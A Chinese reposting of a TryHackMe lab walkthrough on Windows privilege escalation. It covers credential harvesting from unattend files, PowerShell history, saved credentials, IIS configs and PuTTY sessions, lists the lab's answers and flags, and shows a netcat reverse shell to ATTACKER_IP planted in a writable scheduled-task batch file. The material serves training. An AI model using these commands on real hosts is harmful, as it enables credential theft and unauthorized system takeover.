【THM】Windows Privilege Escalation(Windows权限提升)-初级渗透测试

介绍

在渗透测试期间,您通常可以使用非特权用户访问某些 Windows 主机。非特权用户将拥有有限的访问权限,仅包括其文件和文件夹,并且无法在主机上执行管理任务,从而阻止您完全控制目标。

本房间涵盖攻击者可用来在 Windows 环境中提升权限的基本技术,允许您在可能的情况下使用主机上的任何初始非特权立足点升级到管理员帐户。

 如果您想先温习一下自己的技能,可以查看Windows 基础知识模块或Hacking Windows 模块。

Windows权限提升

简而言之,权限升级包括使用“用户 A”对主机的给定访问权限,并通过滥用目标系统中的弱点来利用它来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在某些情况下,我们可能需要升级到其他非特权帐户,然后才能真正获得管理权限。

获得对不同帐户的访问权限就像在一些粗心的用户留下的不安全的文本文件或电子表格中查找凭据一样简单,但情况并非总是如此。根据具体情况,我们可能需要利用以下一些弱点:

  • Windows 服务或计划任务配置错误
  • 分配给我们帐户的权限过多
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

在开始讨论实际技术之前,让我们先了解一下 Windows 系统上的不同帐户类型。

Windows用户

Windows系统主要  两类用户。根据用户的访问级别,我们可以将用户分为以下组之一:

管理员这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
标准用户这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或重要的更改,并且仅限于他们的文件。

任何具有管理权限的用户都将成为管理员组的一部分。另一方面,标准用户是用户组的一部分。

除此之外,您通常会听说操作系统在权限升级的情况下使用一些特殊的内置帐户:

系统/本地系统操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,并且具有比管理员更高的权限。
本地服务用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
网络服务用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

这些帐户由 Windows 创建和管理,您将无法像其他常规帐户一样使用它们。不过,在某些情况下,您可能会因为利用特定服务而获得他们的特权。

2.1可以更改系统配置的用户属于哪个组?Administrators

2.2SYSTEM 帐户比管理员用户拥有更多权限(是/否)aye

从常见地点收集密码

获得其他用户访问权限的最简单方法是从受感染的计算机收集凭据。此类凭证的存在可能有多种原因,包括粗心的用户将其留在明文文件中;甚至由浏览器或电子邮件客户端等软件存储。

此任务将介绍一些在 Windows 系统上查找密码的已知位置。

在开始任务之前,请记住单击“启动机器” 按钮。您将在任务 3 到 5 中使用同一台机器。如果您使用 AttackBox 这也是启动它的好时机,因为您将需要它来执行以下任务。

如果您更喜欢通过RDP连接到目标计算机,您可以使用以下凭据:

用户: thm-unpriv

密码: Password321

无人参与的Windows安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>

    <Username>Administrator</Username>

    <Domain>thm.local</Domain>

    <Password>MyPassword123</Password>

</Credentials>

Powershell历史

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过cmd.exe在提示符下使用以下命令来检索密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取该文件,您必须替换%userprofile%$Env:userprofile

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,则可以将它们与命令 runas 和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

IIS配置

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为 的文件中web.config,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

C:\inetpub\wwwroot\web.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件上查找数据库连接字符串的快速方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

从软件检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其SSH密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。

 3.1julia.jones 用户的密码已保留在 Powershell 历史记录中。密码是什么?ZuperCkretPa5z

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

3.2Web 服务器正在远程主机上运行。在与 IIS 关联的 web.config 文件中查找任何有趣的密码。 db_admin 用户的密码是什么?098n0x35skjD3

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

3.3您的 Windows 凭据上保存有密码。使用 cmdkey 和 runas,为 mike.katz 生成一个 shell,并从他的桌面检索标志。THM{WHAT_IS_MY_PASSWORD}

cmdkey /list

runas /savecred /user:mike.katz cmd.exe

cd /Users/mike.katz/Desktop

type flag.txt

3.4检索您的个人资料下保存的 PuTTY 会话中存储的密码。 thom.smith 用户的密码是什么?CoolPass2021

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

其他快速获胜

权限升级并不总是一个挑战。某些错误配置可能会让您获得更高特权的用户访问权限,在某些情况下甚至可以获得管理员访问权限。如果您认为这些更多地属于 CTF 事件领域,而不是您在实际渗透测试过程中遇到的场景,这将会有所帮助。但是,如果前面提到的方法都不起作用,您可以随时返回这些方法。

计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。

schtasks 可以使用不带任何选项的命令从命令行列出计划任务 。要检索有关任何服务的详细信息,您可以使用如下命令:

命令提示符

C:\> schtasks /query /tn vulntask /fo list /v

Folder: \

HostName:                             THM-PC1

TaskName:                             \vulntask

Task To Run:                          C:\tasks\schtask.bat

Run As User:                          taskusr1

您将获得有关该任务的大量信息,但对我们来说重要的是“要运行的任务”参数,该参数指示计划任务执行的内容,以及“以用户身份运行”参数,该参数显示将使用的用户执行任务。

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls

命令提示符

C:\> icacls c:\tasks\schtask.bat

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)

                    BUILTIN\Administrators:(I)(F)

                    BUILTIN\Users:(I)(F)

从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。为了您的方便,nc64.exe可以在 上找到C:\tools。让我们更改 bat 文件以生成反向 shell:

命令提示符

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

然后,我们在攻击者机器上启动一个侦听器,该侦听器位于我们在反向 shell 上指示的同一端口上:

nc -lvp 4444

下次运行计划任务时,您应该会收到具有taskusr1权限的反向shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行该任务:

C:\> schtasks /run /tn vulntask

您将按预期收到具有taskusr1权限的反向shell:

user@attackerpc$ nc -lvp 4444

Listening on 0.0.0.0 4444

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\taskusr1

转到taskusr1 桌面以检索标志。不要忘记在此任务结束时输入标志。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2981644.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

什么是分解交易?fpmarkets一分钟讲清楚

分解交易是什么&#xff1f;用这种交易方式能赚到钱吗&#xff1f;这种策略有什么好处&#xff1f;有什么弊端呢&#xff1f;今天fpmarkets澳福一分钟给各位投资者讲清楚。 其实在fpmarkets看来分解交易就是一种很简单的外汇策略&#xff0c;主要信号是趋势线的分解。看涨趋势线…

this指向

调用方式示例 函数中this的指向通过new调用new method()新对象直接调用method()全局对象通过对象调用obj.method()前面的对象call、apply、bindmethod.call(ctx)第一个参数 我们说的this指向是一个函数里边的this指向&#xff0c;如果这个this不在函数里边&#xff0c;那th…

ShardingSphere-JDBC快速入门

ShardingSphere-JDBC读写分离快速入门 一、ShardingSphere-JDBC 读写分离1.创建springboot程序1.1 添加依赖1.2 java代码1.3 配置 2.测试 二、ShardingSphere-JDBC垂直分片1.创建springboot程序1.1 导入依赖1.2 java代码1.3 配置 2.测试 三、ShardingSphere-JDBC水平分片1.创建…

WPForms Pro插件下载:简化您的在线表单构建,提升用户互动

在当今的数字化世界中&#xff0c;表单是网站与用户互动的关键。无论是收集信息、处理订单还是进行调查&#xff0c;一个好的表单可以极大地提升用户体验和转化率。WPForms Pro插件&#xff0c;作为一款专业的WordPress表单构建工具&#xff0c;旨在帮助您轻松创建美观、功能强…

MySQL无法打开情况下读取frm文件的表结构

一、背景&#xff1a; 开发人员通过MySQL客户端工具&#xff0c;可以访问MySQL5.7.6&#xff0c;可以访问具体的DB&#xff0c;可以查看小写表的数据&#xff0c;但是无法查看大写表的数据&#xff0c;报错信息为“table does not exist”。 二、检查与分析&#xff1a; ssh登录…

mac如何通过Teminal查找本机ip地址

方法1 ifconfig ifconfig终端中使用 ifconfig 可以查看本地 ip 但是看到的信息太多了&#xff0c;我们只是想要一个本机ip而已 方法2 ifconfig en0 ifconfig en0相比方法1我们算是直接获取到了本机ip&#xff0c;但是第一眼看到还是需要反应一段时间 方法3 精准获取IP ifcon…

跑腿业务和支付业务的具体实现流程

校园云项目 跑腿业务的具体业务分析 该流程适用于很多接单相关的业务场景&#xff0c;或多或少都可以从中得到启发&#xff1b; 整个流程描述&#xff1a; 任务发布&#xff1a; 用户在平台上发布任务&#xff0c;描述需要完成的任务内容&#xff0c;包括取件地址、送达地址…

基于文件流操作文件系统

stream 文件流ScannerWriter遍历目录删除指定文件把目标文件复制为源文件小结 文件流 文件的内容本质上都是来自于硬盘,而硬盘由操作系统管理. 使用java来操作文件,就要用到java的api.这里涉及一系列的类: 字节流: InputStream和OutputStream是以操作字节为单位(二进制文件). …

MySQL中的并发控制,读写锁,和锁的粒度

MySQL中的并发控制&#xff0c;读写锁&#xff0c;和锁的粒度 并发控制的概述 在数据库系统中&#xff0c;并发控制是一种用于确保当多个用户同时访问数据库时&#xff0c;系统能够提供数据的一致性和隔离性的机制。MySQL支持多种并发控制技术&#xff0c;其中包括锁机制、多…

pytorch-解决过拟合之regularization

目录 1.解决过拟合的方法2. regularization2. regularization分类3. pytorch L2 regularization4. 自实现L1 regularization5. 完整代码 1.解决过拟合的方法 更多的数据降低模型复杂度 regularizationDropout数据处理早停止 2. regularization 以二分类的cross entropy为例&…

YesPMP众包平台最新项目

YesPMP一站式互联网众包平台&#xff0c;最新外包项目&#xff0c;有感兴趣的用户可进入平台参与竞标。 &#xff08;竞标后由项目方直接与服务商联系&#xff0c;双方直接对接&#xff09; 1.查看项目&#xff1a;个人技术-YesPMP平台 2.查看项目&#xff1…

运维 kubernetes(k8s)基础学习

一、容器相关 1、发展历程&#xff1a;主机–虚拟机–容器 主机类似别墅的概念&#xff0c;一个地基上盖的房子只属于一个人家&#xff0c;很多房子会空出来&#xff0c;资源比较空闲浪费。 虚拟机类似楼房&#xff0c;一个地基上盖的楼房住着很多人家&#xff0c;相对主机模式…

大数据学习第四天

文章目录 yaml 三大组件的方式交互流程hive 使用安装mysql(hadoop03主机)出现错误解决方式临时密码 卸载mysql (hadoop02主机)卸载mysql(hadoop01主机执行)安装hive上传文件解压解决版本差异修改hive-env.sh修改 hive-site.xml上传驱动包初始化元数据在hdfs 创建hive 存储目录启…

人工智能基础-Python之Pandas库教程

文章目录 前言一、Pandas是什么&#xff1f;二、使用步骤1.引入库2.数据读取2.1 数据类型2.2 数据读取1.常见操作2.txt读取 3.pandas的数据结构3.1 Series1.属性2.创建Series3.查询 3.2 DataFrame1.创建DataFrame 4.查询数据4.1 data.loc 根据行列标签值进行查询1.使用单个labe…

javaWeb项目-社区医院管理服务系统功能介绍

项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1a;Vue、ElementUI 关键技术&#xff1a;springboot、SSM、vue、MYSQL、MAVEN 数据库工具&#xff1a;Navicat、SQLyog 1、Java技术 Java语…

机器学习中常见的数据分析,处理方式(以泰坦尼克号为例)

数据分析 读取数据查看数据各个参数信息查看有无空值如何填充空值一些特殊字段如何处理读取数据查看数据中的参数信息实操具体问题具体分析年龄问题 重新划分数据集如何删除含有空白值的行根据条件删除一些行查看特征和标签的相关性 读取数据 查看数据各个参数信息 查看有无空…

【iOS开发】(六)react Native 路由嵌套传参与框架原理(完)20240423

【iOS开发】(六)react Native 路由嵌套传参与框架原理&#xff08;完&#xff09;20240423 感谢拉钩教育的教学。 &#xff08;五&#xff09;我们介绍了四种路由导航&#xff0c;这一节我们介绍他们的嵌套传参和框架的整体原理。到这里&#xff0c;大家已经能用RN框架进行一些…

电商价格监测的价值是什么

品牌做电商价格监测的原因多是为了渠道管控&#xff0c;即控价&#xff0c;管控价格前需要对渠道中的价格数据进行监测&#xff0c;通过监测价格&#xff0c;对渠道中低价数据进行全面的了解&#xff0c;如有授权低价率&#xff0c;非授权低价率&#xff0c;非授权低价店铺的总…

python与上位机开发day02

1.常见运算符 1.1 赋值运算符 赋值运算符主要用来对变量进行赋值,包括如下这些: 运算符描述赋值加等于-减等于*乘等于/除等于//整除等于%模等于**幂等于 实例如下: a 10 a 5 # 等价于 a a5 a *2 # 等价于 a a*21.2 比较运算符 比较运算符主要用来比较两个数据的大小…

Windows 搭建自己的大模型-通义千问

1、安装 pytorch https://pytorch.org/get-started/locally/ 点击进入官网&#xff0c;如图选择自己的环境得到pip安装依赖的命令&#xff1a; pip3 install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/cpu 2、拉取代码并安…